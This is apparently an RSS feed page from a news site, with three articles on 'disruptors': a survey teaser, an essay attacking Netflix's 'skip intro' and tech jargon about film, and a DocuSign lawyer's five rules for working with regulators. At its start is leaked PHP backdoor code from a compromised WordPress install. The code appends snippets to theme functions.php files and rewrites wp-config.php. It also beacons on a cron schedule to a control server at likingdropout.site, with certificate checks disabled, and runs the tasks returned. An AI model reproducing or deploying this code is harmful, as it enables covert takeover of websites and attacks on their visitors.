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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); disruptor’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 15 Jul 2018 19:53:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png disruptor’s – Brief News https://briefnews.eu 32 32 Survey shows limited opportunities for tomorrow’s ‘disruptors’ https://briefnews.eu/survey-shows-limited-opportunities-for-tomorrows-disruptors/ https://briefnews.eu/survey-shows-limited-opportunities-for-tomorrows-disruptors/#respond Sun, 15 Jul 2018 19:53:13 +0000 http://briefnews.eu/survey-shows-limited-opportunities-for-tomorrows-disruptors/

GUEST: When Facebook and Twitter launched, pundits and prognosticators envisioned a future in which still more social networks would bloom. Now we can count the number of major social networks pretty easily. We may see a similar thinning among companies the media has dubbed “disruptors” — companies that have transformed a traditional way of d…Read More

]]> https://briefnews.eu/survey-shows-limited-opportunities-for-tomorrows-disruptors/feed/ 0 Attention, “Disruptors”: Art Is Not #Content https://briefnews.eu/attention-disruptors-art-is-not-content/ https://briefnews.eu/attention-disruptors-art-is-not-content/#respond Sun, 31 Dec 2017 23:13:58 +0000 http://briefnews.eu/attention-disruptors-art-is-not-content/ Flavorwire is taking the final week of 2017 off, because God knows we need it. But all week, we’ll be reposting some of our favorite pieces from the year. Read them all here.

There’s so much to like about Netflix – the original shows, the revivals, the fresh-off-the-festival-circuit movies, the comedy specials – that it’s easy to forget what’s so bad about them. So, here’s a reminder: they don’t curate their film library, they’ve fallen down on their job as the primary provider of cinema for home viewing, and they generally don’t care about movies. You can go a long while basking in the positive and forget about that, and then they’ll do something so egregiously terrible, and the reminder lands like a car crash.

So here’s the latest: back in March, some users reported the appearance of a “skip intro” button during TV shows – mostly Netflix originals, like Orange is the New Black and House of Cards, but a few others as well. Business Insider noted that this option would “make binge-watching better,” and they’re probably right; I’d imagine, if you’re watching eight straight hours of Friends, you maybe wouldn’t want to hear “I’ll Be There For You” every single damn time. Except, it turns out, the “skip intro” option isn’t available for Friends. However, it is available for E.T. and Forrest Gump.

Film lovers on social media have been complaining about this for a few days now; Noah Gittell brought it to wider attention over at the Guardian. He points out, rightly, that skipping the ambient mood-setting of E.T. or the floating feather (kind of an important motif!) of Forrest Gump is “like erasing history itself, or at least radically distorting it to fit present viewing habits.” But the problem is, you can’t appeal to these people’s sense of cinematic history or cultural responsibility, because they don’t have any. Increasingly, those who are custodians of cinema and television don’t see it as an art – they see it as content, to be data-cized, targeted, and delivered. The contents of the content are inconsequential.

You can hear it in the bullshit Silicon Valley jargon-speak that permeates writing about the future of movie-watching – one that is certainly in question, as the theatrical experience continues to combust, attendance continues to dwindle, and exhibition windows continue to shrink. But in a widely-shared, dry-heave-worthy Vanity Fair piece earlier this year, writer Nick Bilton insisted, “It would be wrong, however, to view this trend as an apocalypse. This is only the beginning of the disruption.”

There’s that word, disruption, endlessly pliable into verb and noun, easily applicable to any problem that tech people think they can fix. You just have to disrupt it! Change the way it’s done! Turn it upside down! Uber for movies! But the problem is, Uber was a more sensible and convenient delivery system for a service. Netflix (and Prime Video, and whomever else) are a more sensible and convenient delivery system for an art form. You don’t hack art — or, at the very least, you shouldn’t.

Instead, Bilton imagines a cinematic future in which A.I. bots are writing scripts and customizing movies to the viewer – and he doesn’t think that sounds terrible. He all but masturbates to it: “[O]ne can imagine the future looking something like this: You come home (in a driverless car) and say aloud to Alexa or Siri or some A.I. assistant that doesn’t exist yet, ‘I want to watch a comedy with two female actors as the leads.’ Alexa responds, ‘O.K., but you have to be at dinner at eight P.M. Should I make the movie one hour long?’ ‘Sure, that sounds good.’ Then you’ll sit down to watch on a television that resembles digital wallpaper.”

Let’s not mince words: that sounds fucking terrible. To be fair, it sounds like the logical endgame of years of focus-group filmmaking, targeted marketing, and green-lights driven by branding. But that’s not how great movies are made; Citizen Kane and Do the Right Thing and The Godfather and Lost in Translation and Rear Window were great movies because of the artistic visions of their creators, not because they were engineered to the whims of their eventual audiences. “The real winners, however, are the consumers,” Bilton insists, shrugging, “The bad news is that many of the people on the set of a standard Hollywood production won’t have a job anymore. The good news, however, is that we’ll never be bored again.” This is what happens when people who don’t know movies try to “solve” them; movies are a lot of things, but their end game shouldn’t merely be keeping boredom at bay.

Don’t tell that to Jeff Guo, who penned a Washington Post #lifehack last year for watching TV in the Peak TV era – or, as he put it, “the latest twist in the millennia-old tradition of technology changing storytelling.” (Can you imagine having an actual conversation with these people?) What he started doing years ago, “to make my life more efficient,” was watching television at 1.5x or 2x the normal speed. “I quickly discovered that acceleration makes viewing more pleasurable,” Guo panted. “Modern Family played at twice the speed is far funnier — the jokes come faster and they seem to hit harder. I get less frustrated at shows that want to waste my time with filler plots or gratuitous violence. The faster pace makes it easier to appreciate the flow of the plot and the structure of the scenes.” Maybe all of this is true! But that’s not how these things were made, or intended to be consumed, and stuffing them into your eyeballs at the maximum speed only manages to convey the basics of plot and dialogue, while shredding such equally essential elements as pace, tone, and mood.

So watching TV at twice the speed, or flying past the opening credits with a push of a button, is accomplishing nothing but placing your precious media-consumption time at a higher value than that of the writers, directors, actors, and craftspeople who made it. Or, to put it another way, it’s refusing an invitation to go to a fine restaurant and enjoy a meal prepared by a first-class chef, so you can instead go to a Furr’s Cafeteria and stuff your face at the all-you-can-eat buffet.

“The more I’ve learned about the history and the science of media consumption,” Guo writes, “the more I’ve come to believe this is the future of how we will appreciate television and movies. We will interrogate videos in new ways using our powers of time manipulation.” Re-read that last sentence a time or two, and see if you can resist the urge to throw your device through the nearest window. It’s the kind of word salad that techbros throw around with abandon, and that kind of thinking is exactly why techbros should be kept as far as possible from art.

Look, if start-ups and coders and engineers want to continue to find ways to streamline our access to film and television, great – we, as consumers/engagers/content receptacles/whatever you’re calling us this week, welcome and appreciate it. But don’t go trying to make art better; it’s not your skill set. Stay in your lane.

                    

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]]> https://briefnews.eu/attention-disruptors-art-is-not-content/feed/ 0 A disruptor’s guide to tackling regulated industries https://briefnews.eu/a-disruptors-guide-to-tackling-regulated-industries/ https://briefnews.eu/a-disruptors-guide-to-tackling-regulated-industries/#respond Sun, 23 Jul 2017 10:51:48 +0000 http://briefnews.eu/a-disruptors-guide-to-tackling-regulated-industries/

GUEST:

When you’re a disruptor, you’re going to make waves – whether you’re delivering goods by drone, renting out that urban apartment, or launching an autonomous ride-share. As a disruptor, you’re likely going to act first and seek permission later. And as you do so, you’ll inevitably bump up against regulations, bending them and testing them as you push the envelope with your technology.

It’s an inescapable part of the creative and entrepreneurial process in an age when the old rules don’t always fit. For any startup looking to break through in a regulated or soon-to-be regulated environment, it’s important to remember that new technologies are also new to regulators. It can often feel like the rule makers are trying to apply old paradigms to a new space, but it doesn’t have to be a constant battle.

Every company working without a regulatory template behaves differently. Understand that working to remove barriers and to make business more consumer friendly in today’s digital age is a journey. It takes tenacity and building relationships with regulators. With that mind, here are five rules for how you can work with regulators while helping your company and – most importantly – your customers.

1. Understand the rules of engagement. Good business gets done with good relationships. Startups constantly create new technology at the same time regulators are trying to set policies around it, which makes it important to have good and trusting relationships with them. Having a good relationship with regulators can allow you to point out the challenges a regulation presents while understanding what the regulators are really trying to accomplish and why. Approach each conversation with a mindset that the other party is operating with the best of intentions and keep an open mind.

2. Be first. Being first – with a new product or feature, or in a new market – means you can be the baseline for rules that others will follow as regulations become refined and formalized. In many cases, regulators don’t know what they don’t know. They base their approaches on the past. Especially in newly regulated areas, sitting back and waiting for somebody else to lead is often not the best practice. When Tesla announced it was the first to offer self-driving capabilities in all of its electric vehicles, that was a prime example of setting the par for the course. That doesn’t necessarily work for everyone, but sometimes regulators need you to take action so they have something they can react to.

3. Be tenacious. Failure is a constant when you’re dealing with a newly regulated or highly regulated environment. You’re going to try something and regulators may say “you can’t do that” or “that’s not within the boundaries of what we’re trying to accomplish.” So you’re going to fail, feel deflated, and have concerns about the expense involved. Their response may feel detrimental to your business model or to what you’re trying to disrupt. It may require product changes or business-model changes. The reality is you will break through if you are tenacious. You’ve got to keep at it until you do break through to define the market space and define the rules of engagement. Then you’ll go – and grow – from there.

4. Set priorities and work sequentially. You can’t take on everything at once. Identify priority markets and work from there. I work at DocuSign, for example, so we’ve been dealing with the legality of electronic signatures for quite a while. The construct for legality for electronic signatures in the U.S. has been around since 2000, but refinements continue to play out in many states and even internationally. In Europe, before new regulations took effect on July 1, 2016, we worked in partnership with regulators to lay the groundwork for policy. We didn’t try to go after the European market at the same time we were going after the U.S. market. But because we had already experienced regulations in the U.S., we were ready. And in both cases, we took a customer-centric approach operating with what would most help our customers achieve success, which leads to the last rule.

5. Educate your customers. Your customers want you to take the risk. You’ve disrupted something in a way that is interesting and valuable to them. But they also have a lot of questions: “Is this legal? Can I use it? Is it better than how I do it today?” Being able to give them the confidence that you’ve done your homework – that you have the use cases and case law behind you – becomes very important. Customers can also be a great source of help in the conversation with regulators. After all, those regulators are in the very business of helping protect and empower customers (and presumably so are you). If your customers are saying, “We really want this” and “We really should be doing it this way,” it can be a very powerful influence in terms of guiding the future direction of laws or regulations. Align your approach with your customers and regulators will often follow.

Now: ready, set, disrupt!

Reggie Davis is General Counsel and Chief Legal Officer at DocuSign. He previously served as general counsel and EVP at Zynga, where he successfully brokered 48 acquisitions and oversaw the company’s IPO. Before Zynga, he spent nine years at Yahoo and was a partner at Hancock Rothert & Bunshoft (now known as Duane Morris).

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